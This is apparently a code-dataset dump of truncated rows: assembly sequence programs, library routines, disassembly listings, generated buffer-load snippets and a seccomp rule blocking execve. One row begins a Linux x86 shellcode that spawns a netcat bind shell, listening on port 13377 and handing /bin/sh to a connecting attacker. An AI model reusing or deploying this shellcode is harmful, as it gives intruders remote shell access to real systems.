text stringlengths 1 1.05M |
|---|
#include <iostream>
#include <cstring>
using namespace std;
#include "cat.h"
namespace sict{
Cat::Cat(const char* name, int numOfLives)
:Animal(name),_numOfLives(numOfLives){
cout << "Creating " << this->name() << " the Cat with "
<< _numOfLives << " lives" << endl;
}
void Cat::act(){
cout <... |
; A003953: Expansion of g.f.: (1+x)/(1-10*x).
; 1,11,110,1100,11000,110000,1100000,11000000,110000000,1100000000,11000000000,110000000000,1100000000000,11000000000000,110000000000000,1100000000000000,11000000000000000,110000000000000000,1100000000000000000,11000000000000000000,110000000000000000000,11000000000000000000... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x13bc3, %r9
nop
nop
nop
xor $40374, %rdx
movl $0x61626364, (%r9)
nop
nop
nop
xor %rbp, %rbp
lea addresses_WT_ht+0xbdf, %r10
sub %r8, %r8
mov (%r10), %rdx
nop
cmp %r8,... |
#include <sdsl/suffix_arrays.hpp>
#include <sdsl/rmq_support.hpp>
#include <string>
#include <iostream>
#include <algorithm>
#include <iomanip>
#include <queue>
using namespace sdsl;
using namespace std;
struct interval {
size_t lb, rb; // left bound, right bound (both inclusive)
size_t min_val, min_idx; // m... |
; A007572: Generalization of the golden ratio (expansion of (5-13x)/((1+x)(1-4x))).
; Submitted by Jamie Morken(s4)
; 5,2,26,86,362,1430,5738,22934,91754,366998,1468010,5872022,23488106,93952406,375809642,1503238550,6012954218,24051816854,96207267434,384829069718,1539316278890,6157265115542,24629060462186
mov $1,10
mo... |
; A140513: Repeat 2^n n times.
; 2,4,4,8,8,8,16,16,16,16,32,32,32,32,32,64,64,64,64,64,64,128,128,128,128,128,128,128,256,256,256,256,256,256,256,256,512,512,512,512,512,512,512,512,512,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,2048,2048,2048,2048,2048,2048,2048,2048,2048,2048,2048,4096,4096,4096,4096,4096,4096... |
; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR NIRVANA+ ENGINE - by Einar Saukas
;
; See "nirvana+.h" for further details
; ----------------------------------------------------------------
; void NIRVANAP_drawT(unsigned char tile, unsigned char lin, unsigned char col)
... |
/*=============================================================================
Copyright (c) 2011-2017 Bolero MURAKAMI
https://github.com/bolero-MURAKAMI/Sprout
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.tx... |
; ===============================================================
; Feb 2014
; ===============================================================
;
; int w_vector_resize(w_vector_t *v, size_t n)
;
; Attempt to resize the vector to n words.
;
; If n <= vector.size, vector.size = n and any elements in
; the vector.array a... |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... |
; A276670: Numerator of (n-1)*n*(n+1)/4.
; 0,0,3,6,15,30,105,84,126,180,495,330,429,546,1365,840,1020,1224,2907,1710,1995,2310,5313,3036,3450,3900,8775,4914,5481,6090,13485,7440,8184,8976,19635,10710,11655,12654,27417,14820,15990,17220,37023,19866,21285,22770,48645,25944,27636,29400,62475,33150,35139,37206,78705,41580,... |
INCLUDE "src/constants/hardware.inc" |
dnl ARM mpn_com optimised for A15.
dnl Contributed to the GNU project by Torbjörn Granlund.
dnl Copyright 2013 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl... |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rax
push %rbp
push %rcx
lea addresses_D_ht+0xf410, %rax
nop
xor %r12, %r12
vmovups (%rax), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rbp
nop
sub $9745, %rcx
pop %rcx
pop %rbp
pop %rax
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %... |
_test: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
int n = 1;
void test_func(void * arg_ptr);
int main(int argc, char *argv[]){
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 ... |
extern m7_ippsHMACGetSize_rmf:function
extern n8_ippsHMACGetSize_rmf:function
extern y8_ippsHMACGetSize_rmf:function
extern e9_ippsHMACGetSize_rmf:function
extern l9_ippsHMACGetSize_rmf:function
extern n0_ippsHMACGetSize_rmf:function
extern k0_ippsHMACGetSize_rmf:function
extern ippcpJumpIndexForMergedLibs
extern ippcp... |
; A131579: Period 10: repeat 0, 3, 6, 9, 2, 5, 8, 1, 4, 7.
; 0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7
mul $0,3
mod $0,10
|
/**
* Copyright 2020 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law... |
Name: zel_main1.asm
Type: file
Size: 45847
Last-Modified: '2016-05-13T04:20:48Z'
SHA-1: F1CE56403C535AD32DA837A34D2339A1CE11B791
Description: null
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r9
push %rbx
lea addresses_A_ht+0x1b2a0, %r9
nop
nop
sub %r15, %r15
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
movups %xmm6, (%r9)
nop
inc %rbx
pop %rbx
pop %r9
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14... |
; A154374: a(n) = 1250*n^2 - 100*n + 1.
; 1151,4801,10951,19601,30751,44401,60551,79201,100351,124001,150151,178801,209951,243601,279751,318401,359551,403201,449351,498001,549151,602801,658951,717601,778751,842401,908551,977201,1048351,1122001,1198151,1276801,1357951,1441601,1527751,1616401,1707551,1801201,1897351,1996... |
; A178218: Numbers of the form 2k^2-2k+1 or 2k^2-1.
; 1,5,7,13,17,25,31,41,49,61,71,85,97,113,127,145,161,181,199,221,241,265,287,313,337,365,391,421,449,481,511,545,577,613,647,685,721,761,799,841,881,925,967,1013,1057,1105,1151,1201,1249,1301,1351,1405,1457,1513,1567,1625,1681,1741,1799,1861,1921,1985,2047,2113,2177,... |
; A057590: Numbers of the form n*(n^3+-1)/2.
; 0,1,7,9,39,42,126,130,310,315,645,651,1197,1204,2044,2052,3276,3285,4995,5005,7315,7326,10362,10374,14274,14287,19201,19215,25305,25320,32760,32776,41752,41769,52479,52497,65151,65170,79990,80010,97230,97251,117117,117139,139909,139932,165876,165900,195300,195325,228475,22... |
;*******************************************************************************
; *
; Filename: uart_driver.asm *
; Date: April 4, 2018 ... |
icl '../os/symbols.asm'
; this test is a direct read from storage, without BIOS support
org BOOTADDR
lda #1
ldx #OS_SET_VIDEO_MODE
jsr OS_CALL
sta ST_WRITE_RESET
mwa DISPLAY_START VRAM_TO_RAM
jsr lib_vram_to_ram
; Call command to open file
mwa #filename SRC_ADDR
jsr file_open... |
_cat: file format elf32-i386
Disassembly of section .text:
00000000 <cat>:
char buf[512];
void
cat(int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 28 sub $0x28,%esp
int n;
while((n = read(fd, buf, sizeof(buf))) > 0)
6: eb 1b ... |
delay:
MOV R7, #50
DJNZ R7, $
RET |
;Expects sound_param_byte_0 to contain desired region (SOUND_REGION_NTSC, SOUND_REGION_PAL, SOUND_REGION_DENDY)
;Expects sound_param_word_0 to contain song list address.
;Expects sound_param_word_1 to contain sfx list address.
;Expects sound_param_word_2 to contain instrument list address.
;If FEATURE_DPCM is defin... |
/* Copyright (c) 2012-2017 The ANTLR Project. All rights reserved.
* Use of this file is governed by the BSD 3-clause license that
* can be found in the LICENSE.txt file in the project root.
*/
#include "misc/MurmurHash.h"
#include "atn/LexerIndexedCustomAction.h"
#include "support/CPPUtils.h"
#include "support/Arr... |
; A031165: a(n) = prime(n+3) - prime(n).
; Submitted by Christian Krause
; 5,8,8,10,8,10,12,12,14,12,12,10,12,16,14,14,12,12,12,12,16,18,18,14,10,8,10,20,22,24,12,18,14,18,14,16,16,16,14,18,14,16,8,18,26,28,18,10,12,12,18,18,22,18,14,14,12,12,16,26,28,20,10,20,24,30,18,16,12,18,20,20,16,16,18,18,20,22,20,22,14,18,12,16... |
/******************************************************************************
* ____ _ _____ *
* / ___| / \ | ___| C++ *
* | | / _ \ | |_ Actor *
... |
// Copyright 2020 Tier IV, Inc
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in... |
// program to make an atm machine
#include<iostream>
using namespace std;
class account{
int balance;
public:
int accountbalance();
int withdrawal();
void ministatement();
};
int account::accountbalance()
{
}
int main()
{
return 0;
} |
; File created by mod2gbt
SECTION "Start_Song", ROMX, BANK[3]
Start_Song0:
DB $a4,$18, $93,$3a, $98,$12, $4a,$06
DB $a2,$18, $00, $00, $00
DB $9f,$18, $00, $00, $00
DB $9b,$18, $00, $00, $00
DB $9f,$18, $00, $00, $00
DB $9b,$18, $00, $00, $00
DB $98,$18, $00, $00, $00
DB $... |
; void *sp1_PreShiftSpr(uchar flag, uchar height, uchar width, void *srcframe, void *destframe, uchar rshift)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_PreShiftSpr
EXTERN l0_sp1_PreShiftSpr_callee
_sp1_PreShiftSpr:
ld hl,12
add hl,sp
ld a,(hl)
dec hl
ld d,(hl)
dec hl
ld e,(hl)
... |
/* Copyright 2015 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in ... |
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld c, 44
ld b, 90
lbegin_waitvblank:
ldff a, (c)
cmp a, b
jrnz lbegin_waitvblank
xor a, a
ldff(40), a
ld hl, 9f00
ld b, 20
lbegin_clearvram:
dec l
ld(hl), a
jrnz lbegin_clearvram
dec h
dec b
jrnz lbegin_clearvra... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: mainThread.asm
AUTHOR: jimmy lefkowitz
ROUTINES:
Name Description
---- -----------
MathThreadListCompact fill in hole in list with la... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Edward Di Geronimo Jr. All rights reserved.
PROJECT: Native ethernet support
MODULE: Ethernet packet driver
FILE: ethodiArp.asm
AUTHOR: Edward Di Geronimo Jr.
ROUTINES:
Name Description
---- ---------... |
// Copyright (c) 2011-2021 by Artem A. Gevorkyan (gevorkyan.org)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, ... |
// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#include <vespa/searchlib/transactionlog/translogclient.h>
#include <vespa/searchlib/transactionlog/translogserver.h>
#include <vespa/vespalib/testkit/testapp.h>
#include <vespa/vespalib/objects/identi... |
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <iostream>
using std::cerr;
using std::cout;
using std::endl;
#define STR_(x) #x
#define STR(x) STR_(x)
#define T(x, e) do { int r = (x); if (r != (e)) { perror(#x " on line " STR(__LINE__) " failed with erro... |
#include "hip/hip_runtime.h"
/*
* GridTools
*
* Copyright (c) 2014-2021, ETH Zurich
* All rights reserved.
*
* Please, refer to the LICENSE file in the root directory.
* SPDX-License-Identifier: BSD-3-Clause
*/
#define GCL_MACRO_IMPL(z, n, _) ... |
;
;
; Z88 Maths Routines
;
; C Interface for Small C+ Compiler
;
; 7/12/98 djm
;double floor(double)
;Number in FA..
SECTION code_fp
INCLUDE "fpp.def"
PUBLIC floor
EXTERN fsetup
EXTERN stkequ2
.floor
c... |
VIDEO_MEMORY equ 0xb8500 ;writing directly to Video memory
WHITE_ON_BLACK equ 0x0f ; the color byte for each character
print32:
pusha
mov edx, eax
add edx, VIDEO_MEMORY
print32loop:
mov al, [ebx] ; [ebx] is the address of our character
mov ah, WHITE_ON_BLACK
cmp al, 0 ; check for end of string
je complete... |
/**
* Copyright (c) 2015-2019 Tomislav Radanovic
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, m... |
//======================================================================
/*! \file IbeoEthDevice.hpp
*
* \copydoc Copyright
* \author Yannic Wilkening (YW)
* \date July 20, 2017
*///-------------------------------------------------------------------
#ifndef SRC_IBEOSDK_DEVICES_IBEOETHDEVICE_HPP_SEEN
#define SRC_I... |
; A163733: Number of n X 2 binary arrays with all 1's connected, all corners 1, and no 1 having more than two 1's adjacent.
; 1,1,2,2,4,6,10,16,26,42,68,110,178,288,466,754,1220,1974,3194,5168,8362,13530,21892,35422,57314,92736,150050,242786,392836,635622,1028458,1664080,2692538,4356618,7049156,11405774,18454930,298607... |
; void *tshr_saddrpup(void *saddr)
SECTION code_clib
SECTION code_arch
PUBLIC _tshr_saddrpup
EXTERN _zx_saddrpup
defc _tshr_saddrpup = _zx_saddrpup
|
#include "stdafx.h"
#include "IDirect3DSurface9.h"
#include "xrD3D9-Null_OutProc.h"
#ifdef _DEBUG
#include "crtdbg.h"
#endif
const GUID DECLSPEC_SELECTANY IID_IDirect3DSurface9;
xrIDirect3DSurface9::xrIDirect3DSurface9 (IDirect3DDevice9* pIDirect3DDevice9, UINT iWidth,UINT iHeight,D3DFORMAT iFormat,D3DMULTISAMPLE_... |
; This file is INCLUDEd three times, once in each audio engine.
table_width 2
dw $F82C ; C_
dw $F89D ; C#
dw $F907 ; D_
dw $F96B ; D#
dw $F9CA ; E_
dw $FA23 ; F_
dw $FA77 ; F#
dw $FAC7 ; G_
dw $FB12 ; G#
dw $FB58 ; A_
dw $FB9B ; A#
dw $FBDA ; B_
assert_table_length NUM_NOTES
|
; A247112: Floor of sums of the cubes of the non-integer square roots of n, as partitioned by the integer roots: floor( sum( j from n^2+1 to (n+1)^2-1, j^(3/2) ) ).
; 0,8,67,267,746,1690,3333,5957,9892,15516,23255,33583,47022,64142,85561,111945,144008,182512,228267,282131,345010,417858,501677,597517,706476,829700,96838... |
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2018 The ATEC developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "masternode.h"
#include "addrman.h"
#include "masternodeman.h"
#include "... |
; A003453: Number of nonequivalent dissections of an n-gon into 3 polygons by nonintersecting diagonals up to rotation and reflection.
; 1,3,6,11,17,26,36,50,65,85,106,133,161,196,232,276,321,375,430,495,561,638,716,806,897,1001,1106,1225,1345,1480,1616,1768,1921,2091,2262,2451,2641,2850,3060,3290,3521,3773,4026,4301,4... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: cgroupGrObj.asm
AUTHOR: Chris Boyke
METHODS:
Name Description
---- -----------
FUNCTIONS:
Scope Name Description
----- ---- -----... |
; A164535: a(n) = 8*a(n-1) - 14*a(n-2) for n > 1; a(0) = 3, a(1) = 20.
; 3,20,118,664,3660,19984,108632,589280,3193392,17297216,93670240,507200896,2746223808,14868977920,80504690048,435871829504,2359908975360,12777066189824,69177803863552,374543504250880,2027858779917312,10979261179826176,59444066519767040,321842875640... |
; A067970: First differences of A014076, the odd nonprimes.
; Submitted by Jon Maiga
; 8,6,6,4,2,6,2,4,6,4,2,4,2,6,2,4,6,2,4,4,2,4,2,2,4,6,6,4,2,2,2,2,2,4,4,2,6,2,2,2,6,2,4,2,4,4,2,4,2,6,2,2,2,6,6,2,2,2,2,4,2,2,2,2,4,6,4,2,6,2,2,2,4,2,4,2,4,2,6,2,4,6,2,2,2,4,2,2,2,2,2,4,6,4,2,2,2,2,2,4
seq $0,196274 ; Half of the gaps... |
; A008402: Crystal ball sequence for {E_6}* lattice.
; 1,55,883,6085,26461,86491,232975,545833,1151065,2235871,4065931,7004845,11535733,18284995,28048231,41818321,60815665,86520583,120707875,165483541,223323661,297115435,390200383,506419705,650161801,826411951,1040804155,1299675133,1610120485,1980053011,2418263191,2934... |
; linux x86 nc -lvve/bin/sh -p13377 shellcode
; This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker
; Author: Anonymous
; Site: http://chaossecurity.wordpress.com/
section .text
global _start
_start:
xor eax,eax
xor edx,edx
push 0x37373333
push 0x3170762d
... |
; A258054: Circle of fifths cycle (counterclockwise).
; 1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4,9,2,7,12,5,10,3,8,1,6,11,4
mul $0,5
mod $0,12
add $0,1
|
/*
* Copyright (c) 2016-2019 Irlan Robson
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial... |
; A111282: Number of permutations avoiding the patterns {1432,2431,3412,3421,4132,4231,4312,4321}; number of strong sorting class based on 1432.
; 1,2,6,16,42,110,288,754,1974,5168,13530,35422,92736,242786,635622,1664080,4356618,11405774,29860704,78176338,204668310,535828592,1402817466,3672623806,9615053952,25172538050... |
[extern isr_handler]
[extern irq_handler]
; Common Interrupt Service Routine code
isr_common_stub:
; 1.Save CPU state
pusha ; Pushes edi, esi, ebp, esp, ebx, edx, ecx, eax
mov ax, ds ; Lower 16-bits of eax = ds.
push eax ; Save the data segment descriptor.
mov ax, 0x10 ; load the Ke... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x419c, %rsi
lea addresses_D_ht+0x10f9c, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $79, %rcx
rep movsl
nop
dec %rax
lea addresses_D_ht+0xd41c, %rax
nop
nop
nop
nop
cmp %r10, %r10
mov $0x616... |
; A205646: Number of empty faces in Freij's family of Hansen polytopes.
; 17,19,25,43,97,259,745,2203,6577,19699,59065,177163,531457,1594339,4782985,14348923,43046737,129140179,387420505,1162261483,3486784417,10460353219,31381059625,94143178843,282429536497,847288609459,2541865828345,7625597485003
mov $1,3
pow $1,$0
a... |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x10d78, %rdx
nop
cmp %r15, %r15
mov $0x6162636465666768, %r8
movq %r8, %xmm1
movups %xmm1, (%rdx)
cmp $7121, %rbp
lea addresses_WT_ht+0x16ae3, %rsi
lea addresses_WT_ht+0x3d38,... |
TITLE CompoPrinter (project4.asm)
; Description: A program to practice if, else if, and else in assembly
INCLUDE Irvine32.inc
LOWER_LIMIT = 300
UPPER_LIMIT = 1
.data
; text to be printed to screen
hello BYTE "Welcome to the CompoPrinter created by Ahmad El-Bobou!", 0
explanation BYTE "This program prin... |
; A017789: Binomial coefficients C(73,n).
; 1,73,2628,62196,1088430,15020334,170230452,1629348612,13442126049,97082021465,621324937376,3558497368608,18385569737808,86270750308176,369731787035040,1454278362337824,5271759063474612,17675898036356052,54991682779774384,159186450151978480,429803415410341896,10847419531784819... |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of so... |
; @copyright
; Copyright (C) 2020 Assured Information Security, Inc.
;
; @copyright
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the right... |
/*
* This file belongs to the Galois project, a C++ library for exploiting parallelism.
* The code is being released under the terms of the 3-Clause BSD License (a
* copy is located in LICENSE.txt at the top-level directory).
*
* Copyright (C) 2018, The University of Texas at Austin. All rights reserved.
* UNIVER... |
; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
INCLUDE "clib_cfg.asm"
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _fread
EXTERN l0_fread_callee
_fread:
pop af
pop de
pop bc
pop hl
exx
pop bc
... |
#include "ntp1summary.h"
#include "ui_ntp1summary.h"
#include "bitcoinunits.h"
#include "guiconstants.h"
#include "guiutil.h"
#include "ntp1/ntp1tokenlistitemdelegate.h"
#include "optionsmodel.h"
#include "qt/ntp1/ntp1tokenlistmodel.h"
#include "walletmodel.h"
#include <QAction>
#include <QClipboard>
#include <QDeskt... |
; A114986: Characteristic function of (A000201 prefixed with 0).
; 1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0
add $0,1
max $0,2
seq $0,189661 ; Fixed point of the... |
; A313799: Coordination sequence Gal.3.53.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,10,15,21,27,33,38,43,48,53,58,63,69,75,81,86,91,96,101,106,111,117,123,129,134,139,144,149,154,159,165,171,177,182,187,192,197,202,207,21... |
; A130724: a(n) = lcm(n,3) / gcd(n,3).
; 0,3,6,1,12,15,2,21,24,3,30,33,4,39,42,5,48,51,6,57,60,7,66,69,8,75,78,9,84,87,10,93,96,11,102,105,12,111,114,13,120,123,14,129,132,15,138,141,16,147,150,17,156,159,18,165,168,19,174,177,20,183,186
mul $0,3
dif $0,9
mov $1,$0
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "irc.h"
#include "net.h"
#include "strlcpy.h"
#include "base58.h"
using ... |
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "sync/internal_api/public/base/model_type.h"
#include "base/string_split.h"
#include "base/values.h"
#include "sync/protocol/app_notificatio... |
; forbid execve syscall
ld [arch]
jeq AUDIT_ARCH_X86_64, next, die
ld [data.nr]
jge __X32_SYSCALL_BIT, die, next
jeq SYS_execve, err, allow
err: ret ERRNO(1)
die: ret KILL
allow: ret ALLOW
|
/*
* Copyright 2014 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "SkDWriteNTDDI_VERSION.h"
#include "SkTypes.h"
#if defined(SK_BUILD_FOR_WIN)
// SkTypes will include Windows.h, which will pull in all of the GDI defines.
// GDI #de... |
ld a, [#1]
cp #2
jp c, #3 |
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D3A move.l D0, (A4)+
004D3C move.l D0, (A4)+
034014 clr.b ($a6,A6) [enemy+A0]
034018 clr.b ($a7,A6) [enemy+A6]
034076 subq.b #1, ($a6,A6)
03407A bcc $3408a [enemy+A6]
03407C clr.b ($a6,A... |
; A017594: a(n) = (12*n + 6)^2.
; 36,324,900,1764,2916,4356,6084,8100,10404,12996,15876,19044,22500,26244,30276,34596,39204,44100,49284,54756,60516,66564,72900,79524,86436,93636,101124,108900,116964,125316,133956,142884,152100,161604,171396,181476,191844,202500,213444,224676,236196,248004,260100,272484,285156,298116,31... |
;*******************************************************************************
; BASIC11 FOR CPU_1A1 *
; *
; MODIFIED BY PAUL BEALING, APRIL-JUNE 2000 ... |
; Convert real time to DOS time V0.00 1993 Tony Tebby
section cv
xdef cv_rtdos
xref cv_mnths
;+++
; Convert real time to DOS time
;
; d1 cr real time / DOS time (if zero, unchanged)
; status return 0
;---
cv_rtdos
rtd.reg reg d2/a0
move.l d1,d0
... |
;
; Generic pseudo graphics routines for text-only platforms
; Version for the 2x3 graphics symbols
;
; Written by Stefano Bodrato 19/12/2006
;
;
; Invert pixel at (x,y) coordinate.
;
;
; $Id: xorpixl.asm,v 1.6 2016-07-02 09:01:36 dom Exp $
;
INCLUDE "graphics/grafix.inc"
SECTION code_... |
;
; ASM -- National Computer Camps
;
; === STACK SEGMENT ===
MyStack segment stack
DB 64 dup('12345678')
MyStack endS
; === DATA SEGMENT ===
MyData segment
MyData endS
; === CODE SEGMENT ===
MyCode segment ; Sets up the segment names for
Assume CS:MyCode,DS:MyData ... |
list p=18f4550 ;Modelo del microcontrolador
#include <p18f4550.inc> ;Libreria de nombre de los registros
CONFIG FOSC = XT_XT ; Oscillator Selection bits (XT oscillator (XT))
CONFIG PWRT = ON ; Power-up Timer Enable bit (PWRT enabled)
CONFIG BOR = OFF ; Brown-out... |
;******************************************************************************
;* SIMD-optimized SVQ1 encoder functions
;* Copyright (c) 2007 Loren Merritt
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Publ... |
#d x, 0x56, x ; = 0x1234561234
#d x, 0x56, x ; = 0x1234561234
x = 0x1234 |
[bits 32]
; Define some constants
VIDEO_MEMORY equ 0xb8000
WHITE_ON_BLACK equ 0x0f
; prints a null-termianted string pointed to by EDX
print_string_pm:
pusha
mov edx, VIDEO_MEMORY ; Set edx to the start of vid mem.
print_string_pm_loop:
mov al, [ebx] ; Stor the char at EBX in AL
mov ah, WHITE_ON_BLACK ; S... |
/*
* Copyright (c) 2018, Alliance for Open Media. All rights reserved
*
* This source code is subject to the terms of the BSD 2 Clause License and
* the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
* was not distributed with this source code in the LICENSE file, you can
* obtain it at w... |
db DEX_MAGMAR ; pokedex id
db 65 ; base hp
db 95 ; base attack
db 57 ; base defense
db 93 ; base speed
db 85 ; base special
db FIRE ; species type 1
db FIRE ; species type 2
db 31 ; catch rate
db 167 ; base exp yield
INCBIN "pic/ymon/magmar.pic",0,1 ; 66, sprite dimensions
dw MagmarPicFront
dw MagmarPicBack
; attacks k... |
.data
_newLine: .asciiz "\n"
_divByZeroMessage: .asciiz "\nException: division by zero\nProgram will be terminated\n"
_floatOverflowMessage: .asciiz "\nException: floating point operation result too great to fit in floating point word\nProgram will be terminated\n"
_floatUnderflowMessage: .asciiz "\nException: floating... |
// Copyright (c) 2017-2021 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <blockfilter.h>
#include <chainparams.h>
#include <consensus/merkle.h>
#include <consensus/validation.h>
#include <i... |
#include <stdio.h>
#include <string>
#include "Engine.h"
#include "prog.h"
using namespace std;
void run(string fname0)
{
bool p = true;
string fname = fname0 + ".nl";
Prog P(fname);
printf("CODE\n");
P.ppCode();
printf("RUNNING\n");
P.run();
}
int main(int argc, char ** args) {
if(argc !=... |
// 0 2
// Heapstack format: _FirstByte, _LastByte
// ---------------------------------------------------------------------------
.mx 0x00
.func Memory__TryAlloc
// Entry: A = Bank number, X = Length
// Return: A = Bank number (positive), X = Memory address, Y = HeapStack pointer
/... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x10630, %rcx
nop
nop
nop
nop
nop
xor $32435, %rbp
mov (%rcx), %r10w
sub $43860, %rsi
lea addresses_WT_ht+0x5800, %r14
nop
nop
dec %rcx
mov $0x6162636465666768, %rsi
movq %rsi... |
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed und... |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r9
push %rbx
lea addresses_D_ht+0x14d73, %rbx
nop
nop
nop
nop
add %r9, %r9
mov (%rbx), %r14d
nop
nop
nop
nop
nop
add $23259, %r12
pop %rbx
pop %r9
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %r9
... |
